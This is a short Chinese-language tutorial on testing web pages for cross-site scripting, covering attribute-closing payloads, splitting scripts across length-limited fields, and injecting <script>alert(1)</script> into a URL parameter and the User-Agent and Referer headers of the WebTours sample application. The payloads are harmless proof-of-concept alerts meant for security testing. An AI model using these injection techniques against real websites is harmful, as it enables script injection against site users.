赞
踩
1.页面输入
*基于html标签,如
<input name="search" value="" type=text >
先用”>先闭合之前的属性,之后再重新定义一个新标签,
“><script>alert(1)</script><a=“,输入之后,页面的html变为
<input name="search" value=""><Script>alert(1)</script><a="" type=text >,将弹出警告框
*长度限制
有时页面输入框有长度限制,可以将脚本分割输入
<input id=uid value=“” type=text size=10 maxlength=15>
<input id=pas value=“” type=text size=10 maxlength=15>
<script>
Document.write(document.getElementbyid(“uid”)+document.getElementbyid(“pas”))
<script>
两个输入框分别输入以下代码,
<script>alert(
1)</script>
输出到页面时,同样可以弹出
如果第二个输入框没有长度限制,还可以使用注释,将中间的html全部注释掉
<!--
--><script>alert(1)</script>
2.url参数
Xss攻击不限于页面输入,可能还存在GET请求的url参数之中,有的参数不会在页面显示,比如隐藏表单域(input=hidden),或者页面输入元素师禁用或不可输入,比如下拉框,需要借助工具实现,可以使用firefox的firebug修改其字段值,还可以使用代理拦击服务器拦截请求,修改字段值
如:LR之前版本的示例程序(webtours)订票操作,传值时,arrive字段在页面上是下拉框,无法进行手工输入,但拦截请求后可以修改其值
GET /webtours/reservations.pl?Arrive=frankfurt<Script>alert(1)</script>&departdate=07%2f15%2f2014……
如果是post请求,使用Burp可以转换为get请求
3.http请求中的跨站脚本漏洞
Webtours网站存在此类型的漏洞,
http://localhost:1080/testssi.ssi
页面源码:
You are using:<!--#echo var=”HTTP_USER_AGENT”--><BR>
You are from:<!--#echo var=”HTTP_REFERER”-->
该页面获取请求头中的useragent和referer值显示在页面,没有进行输入验证,因此当在该两个字段输入脚本<script>alert(1)</script>时,将会弹出警告框。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。